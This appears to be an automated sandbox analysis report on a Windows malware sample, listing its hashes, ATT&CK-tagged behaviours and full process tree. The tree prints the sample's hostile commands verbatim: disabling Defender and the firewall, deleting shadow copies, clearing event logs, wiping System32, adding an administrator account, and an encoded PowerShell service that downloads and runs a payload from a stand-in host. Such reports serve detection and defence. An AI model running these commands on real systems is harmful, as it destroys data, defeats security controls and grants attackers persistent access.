02dc21a58fd1ff9d75a8f06dd7ff0a066d1ac2408bcda0223d635eb91f7946de

Analysis

max time kernel
149s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 09:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Ultraminature.exe
Size 8.0MB
Sample260517-lfxhjset6x
SHA256 02dc21a58fd1ff9d75a8f06dd7ff0a066d1ac2408bcda0223d635eb91f7946de
MD5 99a43117048b5b673686ce0e5a825705
SHA1 869dcb318d4c31ed9d1be81560549206fabb9844
SHA512 35a4d96ed926e2706b93dd784927f7865e6a3efe33883eeb5b2872f5a5e72f85f1c63f4a9cc75dcf0049de367d62d45a6df9a0761e0710e7f42ea419d842b521
SSDEEP 98304:h81jGQ0nuaZ0Qj3XC0MuZhCMYkcIt5FkOwSrIcUsLXRL5gE1i+bVn7wbGp8F6Rgh:hskuo0QG0MurH/P/XRLieiYKs2KKDF
TLSH
T1B886332897A816F7FDF6E239C812C4B2C29A7A161755C6D783F490A01E737C1B63A713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Signatures

Clears Windows event logs 1 TTPs 6 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
3088	wevtutil.exe
3732	wevtutil.exe
964	wevtutil.exe
3596	wevtutil.exe
3732	wevtutil.exe
2988	wevtutil.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4972	powershell.exe
6204	powershell.exe
6196	powershell.exe
2424	powershell.exe
4452	powershell.exe
5328	powershell.exe
5440	powershell.exe
4004	powershell.exe
6220	powershell.exe
6212	powershell.exe
5596	powershell.exe
3468	powershell.exe
5256	powershell.exe
2900	powershell.exe
2796	powershell.exe
6180	powershell.exe
5964	powershell.exe
3044	powershell.exe
2732	powershell.exe
332	powershell.exe
5876	powershell.exe
4780	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5328	powershell.exe
6196	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Loads dropped DLL 24 IoCs

pid	Process
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5588	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe
5412	Ultraminature.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ultraminature.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ultraminature.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\coreglobconfig.dll	cmd.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\coreglobconfig.dll	cmd.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3284	sc.exe
2336	sc.exe
5856	sc.exe
1580	sc.exe
4824	sc.exe
1568	sc.exe
5084	sc.exe
3396	sc.exe
6096	sc.exe
2556	sc.exe
3692	sc.exe
5744	sc.exe
4168	sc.exe
4000	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1424	ping.exe
6188	ping.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3588	cmd.exe
4252	netsh.exe
6228	cmd.exe
6680	netsh.exe

Modifies data under HKEY_USERS 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1424	ping.exe
6188	ping.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5276	schtasks.exe
4488	schtasks.exe
1260	schtasks.exe
6984	schtasks.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
2424	powershell.exe
2424	powershell.exe
5256	powershell.exe
5964	powershell.exe
5596	powershell.exe
3468	powershell.exe
5256	powershell.exe
3468	powershell.exe
5596	powershell.exe
5964	powershell.exe
5440	powershell.exe
5328	powershell.exe
5328	powershell.exe
2900	powershell.exe
4452	powershell.exe
4452	powershell.exe
2900	powershell.exe
5328	powershell.exe
2732	powershell.exe
2732	powershell.exe
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe
4452	powershell.exe
2900	powershell.exe
2732	powershell.exe
4972	powershell.exe
4972	powershell.exe
4780	powershell.exe
4780	powershell.exe
5876	powershell.exe
5876	powershell.exe
2796	powershell.exe
2796	powershell.exe
332	powershell.exe
332	powershell.exe
5876	powershell.exe
332	powershell.exe
4780	powershell.exe
2796	powershell.exe
4004	powershell.exe
4004	powershell.exe
6212	powershell.exe
6196	powershell.exe
6212	powershell.exe
6196	powershell.exe
6220	powershell.exe
6220	powershell.exe
6180	powershell.exe
6180	powershell.exe
6204	powershell.exe
6204	powershell.exe
6220	powershell.exe
6196	powershell.exe
6180	powershell.exe
6212	powershell.exe
6204	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	5256	powershell.exe
Token: SeDebugPrivilege	5964	powershell.exe
Token: SeDebugPrivilege	5596	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeSecurityPrivilege	3088	wevtutil.exe
Token: SeBackupPrivilege	3088	wevtutil.exe
Token: SeSecurityPrivilege	3732	wevtutil.exe
Token: SeBackupPrivilege	3732	wevtutil.exe
Token: SeSecurityPrivilege	964	wevtutil.exe
Token: SeBackupPrivilege	964	wevtutil.exe
Token: SeDebugPrivilege	5440	powershell.exe
Token: SeBackupPrivilege	4552	vssvc.exe
Token: SeRestorePrivilege	4552	vssvc.exe
Token: SeAuditPrivilege	4552	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2424	powershell.exe
Token: SeSecurityPrivilege	2424	powershell.exe
Token: SeTakeOwnershipPrivilege	2424	powershell.exe
Token: SeLoadDriverPrivilege	2424	powershell.exe
Token: SeSystemProfilePrivilege	2424	powershell.exe
Token: SeSystemtimePrivilege	2424	powershell.exe
Token: SeProfSingleProcessPrivilege	2424	powershell.exe
Token: SeIncBasePriorityPrivilege	2424	powershell.exe
Token: SeCreatePagefilePrivilege	2424	powershell.exe
Token: SeBackupPrivilege	2424	powershell.exe
Token: SeRestorePrivilege	2424	powershell.exe
Token: SeShutdownPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeSystemEnvironmentPrivilege	2424	powershell.exe
Token: SeRemoteShutdownPrivilege	2424	powershell.exe
Token: SeUndockPrivilege	2424	powershell.exe
Token: SeManageVolumePrivilege	2424	powershell.exe
Token: 33	2424	powershell.exe
Token: 34	2424	powershell.exe
Token: 35	2424	powershell.exe
Token: 36	2424	powershell.exe
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeIncreaseQuotaPrivilege	4452	powershell.exe
Token: SeSecurityPrivilege	4452	powershell.exe
Token: SeTakeOwnershipPrivilege	4452	powershell.exe
Token: SeLoadDriverPrivilege	4452	powershell.exe
Token: SeSystemProfilePrivilege	4452	powershell.exe
Token: SeSystemtimePrivilege	4452	powershell.exe
Token: SeProfSingleProcessPrivilege	4452	powershell.exe
Token: SeIncBasePriorityPrivilege	4452	powershell.exe
Token: SeCreatePagefilePrivilege	4452	powershell.exe
Token: SeBackupPrivilege	4452	powershell.exe
Token: SeRestorePrivilege	4452	powershell.exe
Token: SeShutdownPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeSystemEnvironmentPrivilege	4452	powershell.exe
Token: SeRemoteShutdownPrivilege	4452	powershell.exe
Token: SeUndockPrivilege	4452	powershell.exe
Token: SeManageVolumePrivilege	4452	powershell.exe
Token: 33	4452	powershell.exe
Token: 34	4452	powershell.exe
Token: 35	4452	powershell.exe
Token: 36	4452	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2484 wrote to memory of 5588	2484	Ultraminature.exe	80
PID 5588 wrote to memory of 4712	5588	Ultraminature.exe	81
PID 5588 wrote to memory of 716	5588	Ultraminature.exe	83
PID 5588 wrote to memory of 3244	5588	Ultraminature.exe	86
PID 3244 wrote to memory of 3396	3244	cmd.exe	88
PID 5588 wrote to memory of 4508	5588	Ultraminature.exe	89
PID 5588 wrote to memory of 2860	5588	Ultraminature.exe	91
PID 5588 wrote to memory of 5276	5588	Ultraminature.exe	93
PID 5588 wrote to memory of 2424	5588	Ultraminature.exe	95
PID 5588 wrote to memory of 3540	5588	Ultraminature.exe	96
PID 3540 wrote to memory of 6096	3540	cmd.exe	99
PID 5588 wrote to memory of 3412	5588	Ultraminature.exe	100
PID 3412 wrote to memory of 2336	3412	cmd.exe	102
PID 5588 wrote to memory of 1792	5588	Ultraminature.exe	104
PID 1792 wrote to memory of 5856	1792	cmd.exe	106
PID 5588 wrote to memory of 2128	5588	Ultraminature.exe	107
PID 2128 wrote to memory of 2556	2128	cmd.exe	109
PID 5588 wrote to memory of 5256	5588	Ultraminature.exe	111
PID 5588 wrote to memory of 3468	5588	Ultraminature.exe	112
PID 5588 wrote to memory of 5964	5588	Ultraminature.exe	113
PID 5588 wrote to memory of 5596	5588	Ultraminature.exe	114
PID 5588 wrote to memory of 2292	5588	Ultraminature.exe	115
PID 2292 wrote to memory of 3692	2292	cmd.exe	123
PID 5640 wrote to memory of 5412	5640	Ultraminature.exe	124
PID 5412 wrote to memory of 5772	5412	Ultraminature.exe	125
PID 5588 wrote to memory of 5052	5588	Ultraminature.exe	127
PID 5596 wrote to memory of 3088	5596	powershell.exe	129
PID 3468 wrote to memory of 3732	3468	powershell.exe	154
PID 5964 wrote to memory of 964	5964	powershell.exe	131
PID 5412 wrote to memory of 2088	5412	Ultraminature.exe	132
PID 5052 wrote to memory of 5744	5052	cmd.exe	133
PID 5412 wrote to memory of 4480	5412	Ultraminature.exe	137
PID 5588 wrote to memory of 2960	5588	Ultraminature.exe	140
PID 5588 wrote to memory of 2732	5588	Ultraminature.exe	141
PID 5588 wrote to memory of 1424	5588	Ultraminature.exe	142
PID 5588 wrote to memory of 5328	5588	Ultraminature.exe	143
PID 5588 wrote to memory of 4452	5588	Ultraminature.exe	144
PID 5588 wrote to memory of 2900	5588	Ultraminature.exe	145
PID 5588 wrote to memory of 3044	5588	Ultraminature.exe	146
PID 5588 wrote to memory of 3588	5588	Ultraminature.exe	147
PID 5412 wrote to memory of 3128	5412	Ultraminature.exe	156
PID 3588 wrote to memory of 4252	3588	cmd.exe	158
PID 3128 wrote to memory of 4168	3128	cmd.exe	159
PID 5412 wrote to memory of 4148	5412	Ultraminature.exe	160
PID 3044 wrote to memory of 4080	3044	powershell.exe	162
PID 4080 wrote to memory of 5908	4080	net.exe	163
PID 2732 wrote to memory of 4488	2732	powershell.exe	164
PID 2900 wrote to memory of 4476	2900	powershell.exe	165
PID 4476 wrote to memory of 1732	4476	net.exe	166
PID 5412 wrote to memory of 4644	5412	Ultraminature.exe	169
PID 5412 wrote to memory of 1260	5412	Ultraminature.exe	171
PID 5412 wrote to memory of 4972	5412	Ultraminature.exe	173
PID 5412 wrote to memory of 1828	5412	Ultraminature.exe	174
PID 1828 wrote to memory of 1580	1828	cmd.exe	177
PID 5412 wrote to memory of 1104	5412	Ultraminature.exe	178
PID 1104 wrote to memory of 4824	1104	cmd.exe	180
PID 5412 wrote to memory of 5800	5412	Ultraminature.exe	182
PID 5800 wrote to memory of 4000	5800	cmd.exe	184
PID 5412 wrote to memory of 5144	5412	Ultraminature.exe	185
PID 5144 wrote to memory of 3284	5144	cmd.exe	187
PID 5412 wrote to memory of 332	5412	Ultraminature.exe	189
PID 5412 wrote to memory of 2796	5412	Ultraminature.exe	190
PID 5412 wrote to memory of 4780	5412	Ultraminature.exe	191
PID 5412 wrote to memory of 5876	5412	Ultraminature.exe	192

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe
"C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2484
- C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe
  "C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe"
  2⤵
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of WriteProcessMemory
  PID:5588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c systemctl stop ufw
    3⤵
    PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c setenforce 0
    3⤵
    PID:716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sudo -n true
    3⤵
    PID:4508
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c "del /f /s /q C:\Windows\System32\\"
    3⤵
    - Drops file in System32 directory
    PID:2860
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ULTRAN /tr "\"C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe\" \"C:\Users\Admin\AppData\Local\Temp\_MEI24842\ultraminature.py\"" /sc onstart /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-NetFirewallProfile -Enabled False"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create OneLogon18 binPath= "C:\Windows\System32\svchost.exe" start= auto"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Windows\system32\sc.exe
      sc create OneLogon18 binPath= "C:\Windows\System32\svchost.exe" start= auto
      4⤵
      Launches sc.exe
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc start OneLogon18"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\system32\sc.exe
      sc start OneLogon18
      4⤵
      Launches sc.exe
      PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create FATE binPath= "C:\Windows\System32\svchost.exe" start= auto"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\system32\sc.exe
      sc create FATE binPath= "C:\Windows\System32\svchost.exe" start= auto
      4⤵
      Launches sc.exe
      PID:5856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc start FATE"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\system32\sc.exe
      sc start FATE
      4⤵
      Launches sc.exe
      PID:2556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "wevtutil cl Application"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3468
  - - C:\Windows\system32\wevtutil.exe
      "C:\Windows\system32\wevtutil.exe" cl Application
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:3732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "wevtutil cl System"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5964
  - - C:\Windows\system32\wevtutil.exe
      "C:\Windows\system32\wevtutil.exe" cl System
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "wevtutil cl Security"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5596
  - - C:\Windows\system32\wevtutil.exe
      "C:\Windows\system32\wevtutil.exe" cl Security
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create MalwareService binPath= "powershell.exe -nop -w hidden -enc JElQID0gImh0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLmV4ZSI7IEludm9rZS1XZWJSZXF1ZXN0ICRJUCAtT3V0RmlsZSAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIjsgU3RhcnQtUHJvY2VzcyAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIg==" start= auto"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\system32\sc.exe
      sc create MalwareService binPath= "powershell.exe -nop -w hidden -enc JElQID0gImh0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLmV4ZSI7IEludm9rZS1XZWJSZXF1ZXN0ICRJUCAtT3V0RmlsZSAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIjsgU3RhcnQtUHJvY2VzcyAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIg==" start= auto
      4⤵
      Launches sc.exe
      PID:3692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc start MalwareService"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\system32\sc.exe
      sc start MalwareService
      4⤵
      Launches sc.exe
      PID:5744
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe
    3⤵
    PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "schtasks /create /tn \"MaliciousTask\" /tr \"cmd.exe /c calc\" /sc daily /st 00:00"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn MaliciousTask /tr "cmd.exe /c calc" /sc daily /st 00:00
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4488
- - C:\Windows\SYSTEM32\ping.exe
    ping evil.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-NetFirewallProfile -Enabled False"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "net user OneLogonFintUser ULTRAMINATURE999 /add"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" user OneLogonFintUser ULTRAMINATURE999 /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4476
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user OneLogonFintUser ULTRAMINATURE999 /add
        5⤵
        
        PID:1732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "net localgroup Administrators OneLogonFintUser /add"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3732
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators OneLogonFintUser /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4080
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators OneLogonFintUser /add
        5⤵
        
        PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
1⤵
PID:544

